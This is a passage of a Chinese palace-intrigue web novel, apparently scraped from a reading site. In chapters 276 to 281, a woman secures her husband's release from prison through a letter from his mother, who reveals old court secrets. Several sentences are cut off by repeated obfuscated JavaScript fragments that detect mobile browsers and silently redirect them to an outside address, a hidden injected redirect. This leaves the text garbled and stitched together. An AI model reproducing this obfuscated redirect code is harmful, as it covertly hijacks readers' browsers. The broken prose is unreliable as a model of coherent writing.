“主子有何吩咐?” 司玄苏上前一步,恭敬地问道。 “太子那边,可有什么把柄?” 茅清兮直接问道。 司玄苏略一思索,道: “太子年前虽然已经从刑部大牢放了出来,但一直深居简出,除了新年夜进宫赴宴,便再无其他动静。倒是刑部大牢里的明溪,突然暴毙,死因据说是心疾。” “明溪**?” 茅清兮眉头微挑, “这事,是太子动的手?” 司玄苏摇了摇头: “应该不是。以太子的性子,还做不出这等授人以柄的事。据说是皇后娘娘的手笔,太子殿下知道后,还曾大发雷霆。” “皇后……” 茅清兮冷笑一声, “她这是嫌太子还不够麻烦。” 司玄苏也附和道: “可不是,明溪一死,明眼人都知道是怎么回事,这下,太子更是百口莫辩了。” 茅清兮沉吟片刻,道: “你去,把这消息透给宁王,让他的人,在朝堂上给太子添点堵。” 司玄苏一点就透: “主子是想借宁王之手,牵制太子? 第二百七十六章 ” 茅清兮点头: “如今朝中局势不明,冀容白又身陷囹圄,咱们不能坐以待毙。” “可新年休沐期间,朝臣们……” 司玄苏有些迟疑。 “无妨。” 茅清兮摆了摆手, “那些御史言官,最是喜欢在这种时候挑刺。冀容白为了救我,硬闯后宫,这事本就犯了忌讳,他们定然不会善罢甘休。咱们得先下手为强,给他们找点别的事做。” “主子说的是。” 司玄苏恍然大悟, “属下这就去办。” 茅清兮看着司玄苏匆匆离去的背影,又想起冀容白被关押的原因,不免有些心烦意乱。 虽说她知道刑部大牢的人不敢对冀容白用刑,毕竟冀容白是皇上亲儿子,皇上一时生气,却也总有消气的时候。 可一想到冀容白要在冰冷的牢房里过年,她心里就一阵阵地发紧。 “不行,我得想办法让他出来。” 茅清兮喃喃自语,她决不能让冀容白在牢里过这个年。 “对了,还有那件事……” 茅清兮忽然想起另一件悬而未决的事, “司玄苏,我交代你打听的那件事,可有进展?” 刚走到门口的司玄苏又折了回来,面露难色: “主子,此事……恐怕不易。” “怎么说?” 茅清兮追问。 司玄苏叹了口气: “当年之事,知情者甚少,而且时过境迁,很多线索都已经断了。如今再想查,无异**捞针。” 茅清兮也知道这事难办。 这回皇上想要她的命,绝非为了玄机图。 若只是为了玄机图,杀了她反而会适得其反。 那圣上究竟为何要置她于死地? 除了和她娘亲的身份有关,或者和青鸾阁有关,茅清兮实在想不出其他的原因。 “继续查。” 茅清兮揉了揉眉心, “不管有多难,都要给我查出个结果来。” 她必须弄清楚,这背后到底隐藏着什么秘密。 茅清兮起身,往外走去。 刚一出门,冷风扑面而来,她下意识地裹紧了身上的衣裳。 绿绿见状,连忙取出一件大氅,披在她肩上。 “去东院。” 茅清兮吩咐道。 她要去见林臧雨。 东院,一间布置简朴的屋子里,林臧雨正坐在桌边,手里捻着一串佛珠,闭目养神。 屋子里没有香案,也没有佛像,只有几件简单的家具。 茅清兮缓步走入,屋内的陈设让她微微蹙眉。 她原本以为,冀容白会把林臧雨关在一间阴暗潮湿的屋子里,没想到,这屋子虽然简单,却也干净整洁。 看来,冀容白对这位名义上的母亲,还是留了几分情面。 “咳咳……” 茅清兮故意咳嗽了两声,打破了屋内的寂静。 林臧雨缓缓睁开眼,目光落在茅清兮身上,嘴角勾起一抹似笑非笑的弧度: “怎么,在诏狱里待了两天,就受不住了?难怪冀容白会这么着急。” 茅清兮在她对面的椅子上坐下,淡淡道: “诏狱是什么地方,夫人比我更清楚。夫君担心我,也是人之常情。” 林臧雨轻哼一声: “他倒是对你情深义重,可对我这个亲娘,却是不管不顾。” 茅清兮看着她,语气平静: “夫人说笑了。夫君若真是不管不顾,又怎会将夫人‘请’到府上来?” 林臧雨脸色一沉: “‘请’?你这是把我当犯人一样关着!” “夫人言重了。” 茅清兮微微一笑, “只是非常时期,非常手段。如今夫君不在府中,为了夫人的安全,也为了澜府的安宁,只能委屈夫人在此小住几日了。” “哼,说得倒是好听。” 林臧雨冷笑一声, “说到底,你们还是想用我来威胁皇上,救出冀容白。” “夫人此言差矣。” 茅清兮摇了摇头, “自古美人如名将,不许人间见白头。母亲这般风华绝代的人物,是该好好将养的。” 她话锋一转,语气中带了几分凌厉: “只是不知,母亲可能在澜府住得习惯?” 林臧雨身后的嬷嬷听不下去了,怒斥道: “放肆!你竟敢……” “无妨。” 林臧雨抬手制止了她,目光重新回到茅清兮身上, “你想怎么样?” “我不想怎么样。” 茅清兮微微一笑, “我只是想请夫人,帮我一个忙。” “帮你?” 林臧雨像是听到了什么笑话, “你觉得我会帮你?” 茅清兮看着她,缓缓道: “夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二十多年了,她避居佛堂,不问世事,几乎断绝了与外界的一切联系。 可如今,只要有了这封信…… 别说放了冀容白,她就是要那人立刻下旨,让冀容白入主东宫,他都会想方设法,为她办到。 第二百七十七章 这么多年来,她一直清楚自己在那个男人心中的分量,但她从未将此放在心上。 她甚至厌恶。 现在,她的儿子,儿媳,却要利用这份厌恶。 林臧雨一生自负,少有挫败,没料到竟会在这对夫妻身上接连受挫。 想到此处,她眼中闪过一丝复杂的情绪。 良久,她缓缓开口,声音低沉,带着几分莫名的意味: “你可知,今上为何非要置你于死地?” 茅清兮微微一怔,她没料到林臧雨会突然问这个,但还是如实回答: “略有猜测。” “当年,圣上揭竿而起,为表求贤若渴之心,曾三次登门,求外公出手相助。” 林臧雨缓缓道来,语气平淡,仿佛在讲述一个与己无关的故事, “谁知,你外祖父不仅不给面子,还当众让圣上难堪。” “圣上登基后,青鸾阁为求自保,只能闭门谢客,不问世事。” 这些事,茅清兮也曾听人提起过。 但毕竟是陈年旧怨,陛下已经让她母亲做了将军,想来也不会再追究青鸾阁的旧事。 “其二……” 林臧雨目光一转,变得锐利起来, “玄机图。你娘一直不肯交出玄机图,圣上多次索要,都被她搪塞过去。” 茅清兮蹙眉,语气中带着一丝恼怒: “我娘因为玄机图而死,如果真有此图,她早就拿出来保命了!” “玄机图,就在你娘手中。” 林臧雨语气坚定,不容置疑, “我亲眼所见。” 她看着茅清兮,一字一顿地说, “只不过,后来被你娘藏起来了。” 茅清兮的心猛地一沉,脑海中闪过无数个念头,却又无法抓住任何一个。 “还有,” 林臧雨的声音再次响起,打断了她的思绪, “你娘当年,拼死也要阻止我生下冀容白。” “圣上,也知道这件事。” 茅清兮愣住了,她从未听过这样的说法,一时间竟不知该如何反应。 林臧雨的语气变得低沉,仿佛又回到了那个动荡不安的年代: “当年,天下大乱,烽烟四起。” “今上占据安州,招兵买马,积蓄力量。” “我十六岁那年,嫁入冀家,成为冀徒荣的妻子,然而,新婚之夜……” 她停顿了一下,似乎在努力平复自己的情绪。 “与我洞房的,不是冀徒荣,而是……今上。” 当时,今上虽只是割据一方的异姓王,但在安州百姓心中,他就是天。 即便他在新婚之夜强占了林臧雨,冀家也只能忍气吞声,不敢有丝毫怨言。 林臧雨的语气平淡,仿佛在讲述别人的故事,但茅清兮却能感受到她话语中隐藏的痛苦与无奈: “不久后,我有了身孕,怀上了冀容白。” “今上欣喜若狂,不准任何人伤害这个孩子。” “但你娘……邹童霜,她却极力反对,甚至……” 林臧雨没有再说下去,但茅清兮已经明白了她的意思。 那时,今上已经决意起兵,争夺天下。 一次醉酒后,他曾失言,说将来得了天下,这皇位,定会传给林臧雨所生的孩子。 这话虽然只有几个心腹在场,但很快就传了出去。 那时,今上已经有了五个儿子,这五个儿子的母族,都是支持他起兵的功臣。 他们都盼着自己的外孙能够继承皇位,他们也能因此平步青云,成为皇亲国戚。 所以,冀容白的存在,对他们而言,是一个巨大的威胁。 邹童霜正是因为看透了这一点,才力劝林臧雨放弃这个孩子,甚至不惜…… 林臧雨眼中闪过一丝痛苦: “我吃了她给的药,疼了三天三夜,差点没命。” “可这孩子,命硬,终究还是活了下来。” 后来,月份大了,再想打掉也来不及了。 而且,当时外人并不知道她和今上的关系,只以为今上对她余情未了。 冀徒荣为了自己的面子,也为了家族的未来,最终还是决定留下这个孩子。 很久之后,林臧雨才知道,当初邹童霜给她下药的事,皇上早就心里有数,但他却选择了沉默。 林臧雨抬起头,看着茅清兮,缓缓说道: “如今,冀容白有了争夺那个位置的心思。” “今上绝不会允许,自己的儿子,在登上皇位之后,立一个差点害死他骨肉的仇人之女为后!” 林臧雨说完,绿绿也正好拿着笔墨纸砚走了进来。 林臧雨没有再说什么,只是走到桌前,提笔,蘸墨,开始写信。 茅清兮站在一旁,看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456002|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臧雨笔走龙蛇,心中却思绪万千。 她总觉得,林臧雨这番话,看似坦诚,实则暗藏玄机。 冀容白之前查到,太子背后很多见不得人的勾当,都是林臧雨在暗中策划。 由此可见,林臧雨绝非表面上那般与世无争。 她心思深沉,手段狠辣,为了达到目的,可以不择手段。 这样一个人,怎么会如此轻易地将这些陈年旧事和盘托出? 还是说,这其中另有隐情? 茅清兮回想起,林臧雨提起玄机图时,那笃定的语气,以及她亲眼所见的说法。 如果说,当初真的有人亲眼看到玄机图在娘亲手中,那么,即便后来娘亲身死,那些人也不会轻易罢休。 他们会认定,玄机图一定还在,只是被藏了起来。 所以,他们才会对娘亲的棺椁都…… 茅清兮只觉得一股寒意从心底升起,瞬间传遍全身。 林臧雨写完信,将信纸叠好,却没有直接交给茅清兮,而是拿在手中,轻轻摩挲着。 她看着茅清兮,突然开口问道: “你觉得,这封信,能让冀容白平安出来吗?” 茅清兮看着她,没有立刻回答,而是反问道: “夫人觉得呢?” 林臧雨笑了笑,没有回答,而是将信递给了茅清兮。 茅清兮接过信,展开,快速扫了一眼,信中内容并无任何不妥之处,只是普通的问候和求情。 她将信收好,转身准备离开。 走到门口时,她停下脚步,对门外的侍卫吩咐道: “冀大夫人在此期间,不得有任何闪失,若有任何需要,第一时间禀报绿绿。” “是。” 侍卫领命而去。 茅清兮走出房间,轻轻关上房门。 屋内,林臧雨看着紧闭的房门,眼神幽深,不知在想些什么。 身后的嬷嬷走上前,轻声问道: “夫人,您觉得,臧夫人她会相信吗?” “信不信,不重要。” 林臧雨缓缓开口,语气中带着一丝莫名的意味, “重要的是,这出戏,终于可以开场了。” “我这个儿子,自诩聪明,找了个同样聪明的媳妇,却不知,聪明反被聪明误。” 嬷嬷脸色一变,担忧地问道: “夫人,那我们需不需要… 第二百七十八章 …” “不必。” 林臧雨摇了摇头,眼神中闪过一丝精光, “这盘棋,仅靠我一人在幕后,是远远不够的。” “是时候,让更多的人入局了。”那些言官,鼻子比狗都灵。 冀容白前脚刚被刑部的人带走,后脚**他的折子,就跟雪片似的飞到了御书房。 这里头,少不了皇后和太子的“功劳”。就连平日里不怎么吭声的宁王,也跳出来踩了一脚,可见是憋坏了。 不过,林臧雨给林皇后的信,也着实来得及时,由锦衣卫直接呈到了御前。 圣上小心翼翼地展开信,目光扫过每一个字,眼眶竟有些发酸。 “朕总以为……臧雨这些年,心里一直怨着朕,所以才对容白的事不闻不问……”他低声呢喃着,像是在回忆,又像是感慨。 “可直到今天,朕才明白,她心里……终究还是放不下这个孩子。” 语气里,既有欣慰,又有难以言说的复杂情绪。 他甚至,没再自称“朕”。 这都快半辈子了,他头一回收到林臧雨的亲笔信。 虽说不是写给他的,可字里行间对冀容白的关切,谁都能看得出来。 更何况,冀容白是他们两个人的儿子。 这让他如何能不多想? 圣上抬眼,看向侍立在一旁的潘云霄,问道:“冀家大夫人,眼下还在澜府住着吗?” 潘云霄垂首,恭敬地回答:“回圣上的话,臧夫人已经派人将冀大夫人送回秦府了。” 圣上微微颔首,眼神里流露出一丝满意。 这个茅清兮,倒是挺懂事的,知道什么该做什么不该做。 冀容白为了林臧雨的事,敢跟朝廷对着干。可她这个当儿媳妇的,就不能由着性子来。 圣上想也没想,当即吩咐下去,让刑部的人即刻放了冀容白。 至于那些御史言官的**? 他连看都懒得看一眼,直接丢到了一边。 这会儿,他心里想的全是他的儿子,哪还顾得上什么“君无戏言”。 激动之余,胸口竟传来一阵阵绞痛,像是有一只手在里面搅动。 圣上脸色一白,捂着胸口,声音都变了调:“药……快给朕拿药来!” 吉公公手忙脚乱地从柜子里取出丹药,倒出一粒,递到圣上手里。 圣上想也没想,直接吞了下去。 等了一会儿,感觉没什么效果,又抓起一颗塞进嘴里。 过了好一会儿,胸口的疼痛才慢慢缓解。 可他整个人,却像是被抽走了所有力气,脸色灰败,眼角的皱纹也更加明显了。 吉公公在一旁看着,心疼得不行,却不敢多说一句。 “吉禄……”圣上突然开口,声音沙哑得厉害。 “你说……臧雨她……她心里,是不是……真的已经不怪朕了?” 吉公公低着头,斟酌着字句,小心翼翼地回答:“林夫人这些年潜心礼佛,或许……很多事情,已经看淡了。” “若真是这样……你说,朕若是下旨,让她入宫……” 话还没说完,吉公公“扑通”一声跪在了地上,头磕得咚咚响,连连求饶:“圣上饶命!奴才不敢妄议!” 他伺候圣上多年,怎么会不清楚圣上对冀夫人的心思? 当年大晋初立,若不是冀夫人执意避世,恐怕这后位,早就不是如今这位的了。 这么多年,圣上对冀夫人,可从来没有真正放下过。 只是,他如今这个岁数,越是得不到的,就越是放不下,甚至有些魔怔了。 若是寻常百姓家,强抢民女也就罢了,可他是皇帝啊! 他的一言一行,都被天下人盯着呢。 真要做出这种事,别说那些读书人的唾沫星子能把他淹死,就连大晋朝的江山,恐怕都要动摇。 毕竟,这天下才刚刚安定了十几年啊…… 圣上也知道吉公公吓坏了,摆了摆手,示意他起来,转而说道:“罢了,你去把白苏道长请来,命他再为朕配几副药。” “奴才遵旨。”吉公公如蒙大赦,连忙起身,退了出去。 刑部大牢外,寒风呼啸。 茅清兮坐在马车里,身上裹着厚厚的披风,手里还捧着个暖炉。 绿绿在一旁,时不时地往暖炉里添些炭火,生怕冻着了她。 茅清兮执意要来接冀容白,府里上上下下都劝不住。 她决定的事情,九头牛都拉不回来。 马车外,寒风凛冽。 可茅清兮的心里,却异常平静。 就像当初,她身陷险境时,冀容白不顾一切地救她一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456003|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如今,轮到她来等他,她也一样,义无反顾。 不知从什么时候开始,冀容白在她心里的分量,已经变得如此重要。 她本不是个轻易动情的人,甚至,从未想过,重活一世,会心甘情愿地与一个人相守。 可缘分这东西,就是这么奇妙。 它来的时候,悄无声息,却又势不可挡。 像是在你心里,点燃了一把火,燃烧了整个世界。 茅清兮不是那种优柔寡断的人。 她一旦认定了,就会勇敢地去追求,绝不后悔。 牢门“吱呀”一声打开,冀容白的身影出现在门口。 刑部侍郎亲自送他出来,脸上堆满了笑容,点头哈腰的,生怕哪里得罪了这位爷。 冀容白一眼就看到了停在不远处的马车,原本冷峻的脸上,瞬间绽放出耀眼的光芒,像是夜空中最亮的星。 他大步流星地朝马车走去,脚步飞快,压根没理会身后还在絮絮叨叨的刑部侍郎。 正如司玄苏所料,刑部的人没那个胆子对冀容白用刑。 他看上去,除了脸色稍微有些憔悴之外,并没有受伤。 冀容白上了马车,绿绿很有眼力见地退了下去,顺手关上了车门。 马车里,暖意融融。 冀容白看着茅清兮,眼角眉梢都染上了笑意:“娘子,你都做了些什么?” “我托冀夫人递了封信给皇后娘娘。”茅清兮坦然承认,没有丝毫隐瞒。 冀容白一点就透,瞬间明白了其中的关键。 可他脸上的笑容,却突然消失了,取而代之的,是凝重和担忧。 他一把抓住茅清兮的胳膊,不由分说地就要去扯她的衣领:“让我看看,伤到哪儿了?” 茅清兮知道瞒不过他,也不再遮掩:“没事,伤口都处理好了。再说了,那些人都是咱们自己人,下手有分寸,没伤到筋骨。” 话虽这么说,可冀容白还是不放心。 他小心翼翼地掀开茅清兮的衣领,果然,在白皙的脖颈上,看到了一道狰狞的鞭痕。 那鞭痕,从锁骨处一直延伸到衣领深处,触目惊心。 哪怕只是露出来的一小部分,也足以让冀容白心疼得喘不过气来。 他只觉得,胸口像是被什么东西狠狠地攥住了,疼得他几乎窒息。 第二百七十九章 茅清兮见他脸色难看,连忙伸手拉了拉衣领,试图遮住那道伤疤。 她抿了抿唇,声音也变得轻柔起来:“真的没事了,你看,都已经结痂了,过几天就好了。” 她主动伸出手,轻轻握住冀容白的手指,轻轻摇晃着,像是在撒娇,又像是在安慰。 声音软软糯糯的,带着江南女子特有的温柔。 脸上也泛起了淡淡的红晕,眼神清澈,像是能把人吸进去。 她身上裹着一件大红色的披风,衬得她肤白胜雪,娇小可人。 只是脸色,还是有些苍白,让人忍不住想要把她抱在怀里,好好呵护。 冀容白的心,像是被什么东西狠狠地撞了一下,又酸又疼。 他恨自己没用,没能保护好她,让她受了这么重的伤。 他还是不够快,不够强,以至于让茅清兮陷入了危险。 冀容白深吸一口气,强行压下心头的怒火和自责。 他抬起头,看着茅清兮,眼神温柔得能滴出水来:“想不想……把这口气出了?” 茅清兮的眼睛,瞬间亮了起来,像是两团跳动的火焰,充满了活力。 冀容白看着她这副模样,忍不住笑了。 她在他面前,越来越像个孩子,天真烂漫,毫不设防。 “为了把你捞出来,我可没少费心思,把圣上身边那些人的底细,都查了个遍。” 也只有冀容白,敢这么明目张胆地调查皇帝的私生活。 这要是传出去,可是要掉脑袋的。 但在茅清兮面前,他从不掩饰自己的所作所为。 “半个月前,宁妃面见圣驾时,说了一句,你就是我的命门所在,是我的命门。” 茅清兮微微一怔,有些不解地问道:“宁妃?我跟她往日无怨,近日无仇的,她为什么要这么说?难道……她跟你有什么过节?” “她倒是没跟我有什么过节,”冀容白解释道,“她是皇后的人。膝下只有一个女儿,眼看着就要到选驸马的年纪了,她自然要替女儿好好打算,在皇后面前,自然要多说些好话。不过,她在圣上面前,倒是能说得上几句话。” 冀容白刻意隐瞒了一些事。 比如,宁妃的那双眼睛,像极了林臧雨。 这也是她能在后宫中,多年无子却依旧能得圣上几分青睐的原因。 但他不想让茅清兮知道这些腌臜事。 圣上对林臧雨求而不得,就找了一堆替身放在身边。 安妃像她的气质,宁妃像她的眼睛,尹贵妃则像她的身段。 冀容白强迫自己不去想这些,他看着茅清兮,语气坚定地说:“不管是宁妃,还是皇后,亦或是旁人,这个仇,为夫一定替你报。” 他心里藏着的是,还有一个人,那便是当今天子。 他要让他也尝尝,失去心爱之人的滋味。澜府最近张灯结彩,一派喜气洋洋。 自从茅清兮和冀容白回来,这冷清的府邸才算有了几分生气。只是茅清兮受了伤,冀容白便不许她出门,只让她在府里好生将养着。 冀容白哄着茅清兮喝药,那耐心劲儿,比谁都足。 每次都让厨房备上好几样精致点心,说是给她压一压药的苦味。 茅清兮原本喝药眼睛都不眨一下,如今倒好,被他惯得非得就着点心才能喝下去了。 新年里,两人就这么在府里窝着,哪儿也没去。 冀容白也寻了个由头,说自己身子骨弱,正好陪着茅清兮一起“将养”。 长公主府那边,茅清兮备了厚礼,亲自带人送了过去。 清韵得了信儿,也赶来瞧她,知道她受了伤,心疼得不行,索性在澜府住了两日,陪着她说话解闷。 至于秦府和陆府,两边儿都没去拜年。 这日,贤王忽然登门。 茅清兮有伤在身,不便见客,冀容白便出面招待。 “哟,容白,几日不见,你这气色倒是好了不少。”贤王一进门,就笑着上下打量他。 冀容白装模作样地咳了两声,身子也跟着晃了晃:“殿下这是打趣臣呢,臣这病还没好全,脸色能好到哪儿去?怕是被风吹的,当不得真。” 贤王“啧”了一声,在他对面坐下:“得了吧,还跟我这儿装?父皇让你节后去兵部,你还真打算继续告病假?” 圣上让冀容白任兵部侍郎的旨意,朝廷已经颁布下去了,贤王知晓此事,并不奇怪。 冀容白脸不红心不跳,继续睁眼说瞎话:“殿下又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过了好一会儿,他才开口道:“我在户部待了半年,发现里头的账目乱得很,尤其是建国之前的那些陈年旧账,更是糊涂。我知道,如今再翻出来,也未必有什么用,但这事儿,牵扯到了我二皇兄。 第二百八十章 ” 他顿了顿,声音低沉:“就是当年,父皇登基前夕,被指控勾结前朝余孽,意图谋反的那位。” 这事儿在当年闹得沸沸扬扬。 二皇子被迅速打入天牢,还没来得及审问,就传出了畏罪自尽的消息。 俞霜的家人,也就是兰陵堡的人,也被扣上了窝藏前朝叛党的罪名,一夜之间,尽数**。 当时就有人觉得蹊跷。 自从找到二皇子**的把柄,到他自尽,再到兰陵堡被灭门,一切都进行得太快,太仓促了。 可人死如灯灭,这事儿最终还是不了了之。 原本,按照立嫡立长的规矩,二皇子才是太子的不二人选。 所以不少人压根儿就不信他会谋反,眼看着太子之位就要到手,他何苦要冒天下之大不韪? 那时候,就有人将怀疑的目光投向了如今的太子钱云霄。 只是,那时钱云霄正在南方平叛,压根就不在都城。 二皇子死后,朝臣们上书请立储君,这才将钱云霄推上了太子的位置。 在外人看来,钱云霄就像是天上掉馅饼,突然就被接回京城,当了太子。 所以,关于二皇子谋反的疑云,也就渐渐消散了。 “我查过当年的卷宗,说是从二皇兄府上抄出了前朝余孽贿赂他的一百万两黄金。但这笔钱,实际上根本对不上数。”贤王压低了声音,语气严肃,“户部的账面上写的是一百万两,可我查了银子的流向,发现这么多年下来,这笔钱就像是凭空消失了一样。国库里没有,流出去的,最多也就二十万两。” 他顿了顿,眼神复杂:“剩下的八十万两,没人知道去了哪里。甚至,当初有没有这八十万两,都是个未知数。” “我跟你说这些,是因为……”贤王深吸一口气,“我不想让三哥登上龙椅。他不配,那个位置,本就不该属于他。” 冀容白垂眸把玩着手中的棋子,看不出情绪。 “贤王殿下跟我说这些,是想让我做什么?”他的声音很轻,却带着一种无形的压迫,“想让我废掉太子?还是说……您想取而代之?” “容白!”贤王急了,声音也大了些,“你又不是不知道,我向来不喜朝堂上的这些争权夺利。若非……若非知道三皇兄登基之后,咱们这些人都不会有好下场,我绝不会掺和这些事。” 他顿了顿,凑近了些,压低声音:“咱们是兄弟,这事儿你我心知肚明。你若能登上大宝,我绝无二话,依旧做我的闲散王爷。再说了,父皇心里属意的……也是你。” “贤王殿下慎言,”冀容白冷冷打断他,“臣不过是个被逐出家门的弃子,当不起殿下如此抬举。殿下所言,恕臣不敢苟同。” 贤王盯着他,目光深沉,似是要将他看穿。 两人就这么僵持着,谁也没有说话。 过了许久,贤王像是泄了气一般,颓然地揉了揉眉心:“罢了,是我异想天开了。我清楚你对皇位不上心,这样也好,就当我……今天什么也没说过吧。” 他站起身,唤来贴身太监,从他手中接过一个锦盒。 “据说臧夫人遭了难,这可是圣上赐下的千年灵参,给她补身子吧。” “感激贤王大恩。”冀容白没有推辞,直接收下了。 等到贤王离开,冀容白看着棋盘上那些纵横交错的棋子,眼神越来越冷。 贤王掩饰得再好,可他的棋风,早就暴露了他的野心。 他真的像他自己说的那样,只想安安稳稳地做个闲散王爷? 冀容白冷笑一声,拂乱了棋局。茅清兮受伤养病,吃喝上处处受限。紫姨管得死死的,忌荤腥,忌重口,一日三餐清汤寡水,她感觉自己嘴里都快淡出个鸟来。 这天,茅飞羽又溜来澜府。 “姐,看我给你带了什么好东西!” 话音刚落,茅飞羽就跟变戏法似的,从衣襟中摸出一个纸包,小心翼翼地塞到茅清兮的软榻底下,动作那叫一个鬼鬼祟祟。 绿绿早就瞧见了,抿嘴一笑,故意把头扭到一边,装没看见。 茅清兮心里跟明镜似的,不用猜,肯定是吃的。 “姐,你可得偷偷吃啊,可千万不能被姐夫发现。”茅飞羽趴在软榻边,压低声音叮嘱,生怕隔墙有耳。 茅清兮斜睨了他一眼,嘴角微撇,装作不在意地说:“拿走,我才不稀罕。” “姐!”茅飞羽急了,一屁股坐到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茅飞羽冷哼一声,满不在乎地撇了撇嘴:“我爹? 第二百八十一章 他现在眼里只有银子,哪还顾得上这些。另外几房早就来要过,不过都被我给挡回去了。” “哦?怎么挡的?”茅清兮来了兴致。 “嘿嘿,我跟他们说,这赌坊是祁公子开的,我不过是给他跑腿的。他们就算心里再怎么不信,也没胆子去找祁公子对质啊!”茅飞羽得意洋洋地说,就差没把“机智”两个字写在脸上了。 茅清兮看着他这副得瑟样,忍不住摇了摇头。 “你呀,小心驶得万年船。”她嘴上这么说着,心里却知道,这小子鬼精着呢,肯定不会让自己吃亏。 “对了,姐,我跟你说个事儿。”茅飞羽突然神秘兮萱地凑近了些,“茅婉柔的亲事,你知道定给谁家了吗?” 茅清兮摇了摇头。自从离开陆府,她就很少过问陆府的事了,更何况是茅婉柔这个无关紧要的人。 “说出来你可能都不信,竟然是个商户!”茅飞羽一脸的幸灾乐祸,“听说那家人虽然有钱,但在京城里根本排不上号。” 茅清兮听了,倒是一点儿也不觉得意外。 茅暮暮在公主府闹出的丑事,早就传遍了京城的大街小巷。虽说太子被摘了出来,但茅暮暮和刁然有染,那是板上钉钉的事实。 茅暮暮的名声,算是彻底臭了。连带着宋家其他女儿的名声,也跟着一落千丈。 “茅婉柔不是一向心高气傲吗?这回怎么肯嫁给一个商户?”茅清兮随口问道。 “嗨,还不是因为没人要。”茅飞羽撇了撇嘴,“二姐出了那样的事,现在京城里那些有头有脸的人家,谁还敢娶宋家的女儿?婶母给四姐挑来挑去,最后也只能矮子里拔将军,选了这么一户人家。” “不过……”茅飞羽话锋一转,“听说那家人的当家人还挺有手段的,在京城也算得上是一号人物。就是不知道,茅婉柔能不能降得住他。” 茅清兮笑了笑,没再说什么。 陆府的事,她早就懒得理会了。要不是茅飞羽还在陆府,她连问都懒得问一句。 “姐,我还有个事儿想跟你商量。”茅飞羽突然正色道。 “什么事?” “我想开春的时候去南边走一趟。”茅飞羽说,“我听说,南边现在流行一种叫‘轻云绸’的料子,京城里还没有呢。我想去看看,能不能弄到京城来卖。” 茅清兮对经商一窍不通,但她身边有的是能人。 “这事儿我帮你留意一下,回头我让司玄苏派个经验老道的管事跟着你,也好有个照应。” 茅飞羽一听,顿时喜上眉梢,差点没蹦起来:“姐,你真是太好了!有你这句话,我就放心了!” 他兴奋地搓了搓手,又跟茅清兮说起了自己身边的一些琐事,还提到了他最近在读的书。 茅飞羽正说得起劲,突然,冀容白从外面走了进来。 他一进屋,鼻子就微微抽动了两下,眉头也随之微微上扬,眼神在屋里扫了一圈,像是在寻找什么。 茅飞羽一看这架势,哪还敢多待,连忙找了个借口溜之大吉。 “那什么,姐,我突然想起来,我得去看看长明,我先走了啊!你好好养伤,我改天再来看你!” 话音未落,人就已经一溜烟地跑没影了。 茅清兮心虚地低下头,假装认真看书,眼角的余光却忍不住偷偷瞄向冀容白。 冀容白走到桌边,自顾自地倒了杯茶,慢条斯理地喝了起来。 绿绿识趣地退了出去,还顺手带上了房门。 屋子里静悄悄的,只有书页翻动的声音,和冀容白偶尔喝茶的声音。 茅清兮感觉自己的心跳得厉害,像是做了什么亏心事被抓包了一样。 “咳咳……”冀容白清了清嗓子,打破了沉默,“兮芸,你在看什么书呢?看得这么入迷。” 茅清兮连忙把书举高了些,挡住自己的脸,瓮声瓮气地说:“没……没看什么,就随便翻翻。” 冀容白放下茶杯,嘴角勾起一抹玩味的笑容:“是吗?我怎么闻到,屋子里好像有一股……烤肉的味道?” 茅清兮心里“咯噔”一下,暗叫不好。 她强装镇定地把书翻过一页,故作轻松地说:“可能是你闻错了吧。你要是觉得屋里有味道,就让绿绿进来点支香。” 冀容白没有接她的话茬,反倒从衣襟中摸出一个纸包,当着茅清兮的面,慢条斯理地打开。 一股熟悉的香味瞬间弥漫开来,比刚才茅飞羽带来的烤鸡的味道,还要浓郁几分。 茅清兮的眼睛一下子就亮了,直勾勾地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 